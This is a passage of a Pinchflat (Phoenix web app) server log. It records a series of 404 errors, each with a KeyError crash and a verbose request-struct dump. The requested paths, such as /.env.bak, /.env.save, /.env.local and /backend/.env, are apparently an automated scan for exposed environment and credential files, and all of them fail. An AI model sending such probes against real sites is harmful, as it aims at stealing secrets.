"24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYUBdm78uYgEAA1YB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "vsn=d\"", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%22/assets/app-521b5c83d8b2f79295a25943104e99d5 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "vsn=d\"", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7743.0>, params: %{"vsn" => "d\""}, path_info: ["%22", "assets", "app-521b5c83d8b2f79295a25943104e99d5"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"vsn" => "d\""}, query_string: "vsn=d\"", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat. (truncated) 04:06:54.135 [info] GET /.env.bak 04:06:54.135 [debug] QUERY OK source="settings" db=0.1ms idle=645.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.136 [debug] QUERY OK source="settings" db=0.0ms idle=269.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.136 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:54.136 [error] #PID<0.7744.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 5) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7744.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYUH7_VjxbbYAA1aB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7744.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-requ (truncated) 04:06:54.265 [info] GET /.env.save 04:06:54.266 [debug] QUERY OK source="settings" db=0.1ms idle=157.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.266 [debug] QUERY OK source="settings" db=0.0ms idle=157.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.266 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:54.266 [error] #PID<0.7745.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 6) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7745.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYUnCPcMqjg0AA1cB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7745.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, (truncated) 04:06:54.381 [info] GET /.env.local 04:06:54.381 [debug] QUERY OK source="settings" db=0.1ms idle=245.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.382 [debug] QUERY OK source="settings" db=0.1ms idle=245.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.382 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:54.382 [error] #PID<0.7746.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 7) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7746.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYVCji821APYAA1eB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7746.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], req (truncated) 04:06:54.497 [info] GET /backend/.env 04:06:54.498 [debug] QUERY OK source="settings" db=0.1ms idle=231.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.498 [debug] QUERY OK source="settings" db=0.0ms idle=231.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.498 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:54.498 [error] #PID<0.7747.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 8) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /backend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7747.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, 